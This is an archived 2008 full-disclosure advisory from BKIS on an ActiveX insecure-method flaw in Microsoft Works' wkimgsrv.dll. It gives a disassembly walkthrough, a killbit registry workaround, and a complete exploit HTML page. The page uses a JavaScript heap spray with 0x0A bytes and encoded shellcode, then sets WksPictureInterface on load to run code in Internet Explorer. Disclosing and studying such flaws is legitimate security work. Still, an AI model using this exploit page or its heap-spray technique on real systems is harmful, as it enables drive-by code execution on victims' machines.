Date: Fri, 2 May 2008 16:47:48 +0700
From: lhoang8500 <lhoang8500@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Microsoft Work ActiveX Insecure Method Exploit

BKIS Research 21/04/2008


            - Microsoft Work ActiveX Insecure Method Exploit -


======================================================================
Table of Contents


Affected Software....................................................1
Severity.............................................................2
Vendor's Description of Software.....................................3
Description of Vulnerability.........................................4
Exploit code.......................................................5		
Solution.............................................................6
Time Table...........................................................7
Credits..............................................................8
References...........................................................9
About BKIS........................................................10
Contact detail........................................................11


======================================================================
1) Affected Software


* Microsoft Work 7, Microsoft Work  9 Component.



NOTE: Other versions may also be affected.


======================================================================
2) Severity


Rating: Important
Impact: System compromise, local code execution.
Where: Local


======================================================================
3) Vendor's Description of Software


"Microsoft(R) Works 9 gives you the basic home productivity tools you
need to help make your everyday tasks easier from start to finish"


Product Link:
http://www.microsoft.com/products/works/ProductDetails.aspx?pid=003


======================================================================
4) Description of Vulnerability

BKIS Center has performed a deep analysis of this vulnerability.

The problem is in wkimgsrv.dll module shipped with many MS Offiice
Suite (tested on MS OF 2003,MS OF 2007)
Actually,this is not the case of buffer overflow attack,just a exploit
of insecure method WKsPictureInterface.
Setting this point to any where in memory and IE will crash when
wkiimgsrv's trying to access an invalid memory location.

Let's get into detail :

00D473BD              PUSH EBP                                 ;
Begin of Set WksPictureInterface method
00D473BE   	 MOV EBP,ESP
00D473C0              SUB ESP,1C
00D473C3  	MOV EAX,DWORD PTR SS:[EBP+C]   ;  Move paramater to EAX
00D473C6  	PUSH ESI
00D473C7 	TEST EAX,EAX                             ;  Checking whether
EAX is NULL
00D473C9 	JNZ SHORT wkimgsrv.00D473D5    ;  OK,if it is not null continue
00D473CB  	MOV EAX,80004005	        ;	
00D473D0  	JMP wkimgsrv.00D47456               ;No,it's is NULL,exit method
00D473D5  ==>	MOV ESI,DWORD PTR SS:[EBP+8] ; Do some other stuffs, we don't care
00D473D8  	LEA EDX,DWORD PTR SS:[EBP-1C] ;
00D473DB  	PUSH EDX
00D473DC 	PUSH EAX
00D473DD 	MOV DWORD PTR DS:[ESI+2A0],EAX        ; =============
00D473E3   ==>	MOV ECX,DWORD PTR DS:[EAX]              ; Here is the
problem,the data stored by EAX is referenced and moved into ECX
00D473E5 	CALL DWORD PTR DS:[ECX+30]               ;Next the address
in some struct pointed by ECX is called

Now if we're able to setup memory satisfied :
Create a struct in memory where the first DWORD in the struct point to
itself and the DWORD at offset 0x30 from struct address is point to
our shellcode.
We should be able to exploit this vulnerability.
This seem to be nightmare because there is nothing to inject except an
integer as paramater for the method.
Fortunately we have prefered heapspray method
Howerver we can't spray with nop (0x90 ) anymore(if this happens, all
address will be 90909090 which is invalid address) ,
The addresses and byte to spray must comply some restrictions
- Byte to spray must be single byte length instruction (or somewhat
that not change execution of the program or causing exception)
- Combination of 4 byte must refer to valid memory address which will
point to it self.

I have chosen 0x0A to spay on IE 7, and 0x05 to spay on IE 6. In
Internet Explorer 7 the number passes to method is 168430090 which is
0x0A0A0A0A in
hexa mode.Let's assume that we has fill 0x0A into memory at
0x0A0A0A0A. EAX will hold value of 0x0A0A0A0A.
Mov ECX,DWORD PTR DS:[EAX]  ;=> ECX= 0x0A0A0A0A
CALL DWORD DTR DS:[ECX+30] ;=> CALL DWORD DTR:[0x0A0A0A3A] => CALL 0x0A0A0A0A
Memory at 0x0A0A0A0A is filled with 0x0A ~ instruction is OR CL,BYTE
PTR DS:[EDX]
Fortunately this hadn't caused exception and not changed execution
path of our shellcode

Shellcode should be executed as expected.
======================================================================
5) Exploit code
======================================================================
<html>
<head>
<title>Microsoft Works 7 WkImgSrv.dll Exploit</title>

Coded by lhoang8500
lhoang8500[at]gmail[dot]com
 BKIS Center - Vietnam

<SCRIPT language="javascript">

	var heapSprayToAddress = 0x0A0A0A0A;

	var payLoadCode =
unescape("%u9090%u9090%u9090%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

	var heapBlockSize = 0x400000;

	var payLoadSize = payLoadCode.length * 2;

	var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

	var spraySlide = unescape("%u0A0A%u0A0A");
	spraySlide = getSpraySlide(spraySlide,spraySlideSize);

	heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

	memory = new Array();

	for (i=0;i<heapBlocks;i++)
	{
		memory[i] = spraySlide + payLoadCode;
	}



	function getSpraySlide(spraySlide, spraySlideSize)
	{
		while (spraySlide.length*2<spraySlideSize)
		{
			spraySlide += spraySlide;
		}
		spraySlide = spraySlide.substring(0,spraySlideSize/2);
		return spraySlide;
	}

</script>
  <script language="JavaScript">
    function payload() {
var num = 168430090;
obj.WksPictureInterface = num;
  }
   </script>
</head>
 <body onload="JavaScript: return payload();">
<object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj">
</object>
 </body>
</html>



======================================================================
6) Solution

Vendor has not released the patch for this vulnerability yet,
This is temperary solution:
Create a text file named work-killbit.reg.
Copy and paste this text into that file.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX
Compatibility\{00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6}]
"Compatibility Flags"=dword:00000400

Double click to  import into registry
======================================================================
7) Time Table


17/04/2008 - PoC Available in milw0rm
21/04/2008 - Exploit sucessfully


======================================================================
8) Credits


Luong Anh Hoang - BKIS Center Vietnam.
lhoang8500[at]gmail[dot]com.


======================================================================
9) References


http://www.milw0rm.com/exploits/5460
for the PoC


======================================================================
10) About BKIS


We are Vietnamese leading center in reseaching, deploying network
security softwares and solutions.

Official website:
http://bkav.com.vn/
======================================================================

11) Contact detail

Mr. Nguyen Minh Duc
Manager of Application Security Department

Bach Khoa Internetwork Security Center (Bkis)
Hanoi University of Technology (Vietnam)

Office: 5th Floor, Hitech building - 1A Dai Co Viet, Hanoi
Tel: 84-4-868 47 57
Mobile: 84-983 60 99 20
Email: security@...v.com.vn
Website: www.bkav.com.vn

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